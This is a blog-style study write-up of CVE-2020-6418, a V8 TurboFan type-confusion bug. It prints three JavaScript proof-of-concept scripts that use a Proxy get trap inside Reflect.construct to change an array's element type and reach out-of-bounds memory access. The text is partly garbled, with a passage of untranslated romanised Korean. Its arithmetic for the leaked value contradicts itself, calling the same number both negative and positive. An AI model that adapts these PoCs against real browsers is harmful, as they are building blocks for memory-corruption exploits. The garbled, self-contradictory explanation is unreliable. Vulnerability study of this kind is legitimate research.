Following the last root cause, I will explain PoC.
For source code and analysis, refer to the https://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreate blog.
- Because this is an analysis for study purposes, the content may be incorrect.
PoC
The PoC source code is as follows.
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() { }
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[1] = 1.1, Object.prototype)
});
function main(p) {
return f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
print(main(p));
When we start the analysis
let a = [0, 1, 2, 3, 4];
This is the array declaration part, and at this time, the array is recognized as smi type.
function empty() { }
naeyong-i eobsneun geol hwag-inhal su issneunde i hamsuui gyeong-u chuhue Reflect.constructleul sayonghal ttae saengseongjaloseo hochul-i doeneunde ittae haedang hamsuui naeyong-i eobs-eoseo jogeum deo bunseoghagi swibge han geos gatseubnida. You can see that there is no content. In the case of this function, it will be used as a constructor when using Reflect.construct later. It is called, but at this time, there is no content of the function, so it seems to have made it a little easier to analyze.
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
In this part, the empty function is called in the form of a constructor using Reflection in Reflect.construct(empty, arguments, p).
Creation is done based on p (new.target role) entered as an argument. Here, if p is a proxy, the proxy’s get trap occurs.
may be called.
The return value of the a.pop() part is actually the value taken out of the last element from a, but pop’s arguments such as Reflect.construct(empty, arguments, p) are ignored.
Reflect.construct(empty, arguments, p) is entered as an argument to pop and includes Jscreate in the effect chain of pop().
reflect.construct() becomes jscreate in the sea of nodes, so the jscreate part seen in the rootcause is executed.
let p = new Proxy(Object, {
get: () => (a[1] = 1.1, Object.prototype)
});
If the get trap is called, the code changes the type by putting 1.1 at index 1 of the a array. There is a step to look up the prototype when calling reflect.construct(empty, argumets, p), but v8 uses Reflect.construct(ctor, args, newTarget) When executing, it finds newTarget.prototype (i.e. p.prototype) and sets that object as the prototype of the new instance. At this time, when the proxy’s get trap is executed, the return value acts as newTarget.prototype, so if a value such as null or undefined is returned here, Since the prototype of a new object may become strange or behave differently than expected, an error may occur, so we safely return object.prototype.
If this happens, the array is of double type, but TurboFan still reads it as Smi type.
If you run it

You can see strange values coming out.
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() { }
function f(p) {
return a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => {
a[1] = 1.1;
% DebugPrint(a);
return Object.prototype;
}
});
function main(p) {
return f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
print(main(p));
I added %debugprint and ran it.

The part that is printed is based on when the get trap was called.
The length of the array at this time is 3, so if pop() is performed, the last item, that is, a[2], will be returned.
If you look up the location of the element,

From our perspective, since we changed it to a double type, it is recognized as the value of indices 0, 1, and 2 based on the red box. From TorboFan’s perspective,

Because it is recognized as an smi type, the 3rd box based on the red box is recognized as a[2], resulting in that value. However, in the case of v8, the integer is multiplied by 2 and stored in memory, so the value is divided by 2 and returned.
If we borrow the power of GPT for the calculation process,
Calculation process:
0x9999999a is 2576980378 in decimal.
If you multiply an integer by 2 when storing it in an array, you must divide it by 2 when reading it from the array:
0x9999999a÷2=0x4ccccccd
0x4ccccccd is represented as a negative number when interpreted as a signed integer. This is because it is processed in 2’s complement method:
Binary representation of 0x4ccccccd:
01001100 11001100 11001100 11001101
It is interpreted as a signed 32-bit integer, which is positive because the sign bit is 0.
Turbofan converts this value to a Signed Int and returns -858993459.

You can see that it is the same as the value in the photo. So, from TurboFan’s perspective, access is made in 4 bytes, but the array itself has been changed to be stored in 8 bytes. For example, if indexing is possible only by 1, 2, and 3, the actual amount should be 24 bytes, but in the case of TurboFan, it is calculated as 4 bytes. Since the maximum is 3, only a total of 12 bytes can be accessed.
The following example is changing a Double array to an Object array. Unlike the above, this is an example of increasing rather than doubling. Since the object’s address is stored in 4-byte format with pointer compression applied, the size of the array element can be reduced from 8 bytes to 4 bytes. Below is the source code.
/* poc.js */
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7];
a.pop();
a.pop();
a.pop();
function empty() { }
function f(p) {
a.push(Reflect.construct(empty, arguments, p) ? 1.1 : 1.1);
}
let p = new Proxy(Object, {
get: () => {
a[1] = {};
% DebugPrint(a);
return Object.prototype;
}
});
function main(p) {
f(p);
}
% PrepareFunctionForOptimization(empty);
% PrepareFunctionForOptimization(f);
% PrepareFunctionForOptimization(main);
main(empty);
main(empty);
% OptimizeFunctionOnNextCall(main);
main(p);
There are a few parts that have changed here, and if you check just those parts, a.pop creates a space for push and a[1] = {} changes it to an object array. ({} means object)
When you run it, first of all, pop is 3 times and push is 3 times, so from TurboFan’s perspective, the current get trap location should correspond to the last push, that is, a[6].

Based on TurboFan

actual standards
Based on TurboFan, it is the location a[6], and based on actual standards, it is the location a[12] and a[13]. This allows you to access locations that are twice as large as the original.
When using data before changing the type, it does not matter because the value in memory has not changed, but if you push additionally later, it will be extended to the new area. I end up doing OOB.
Comments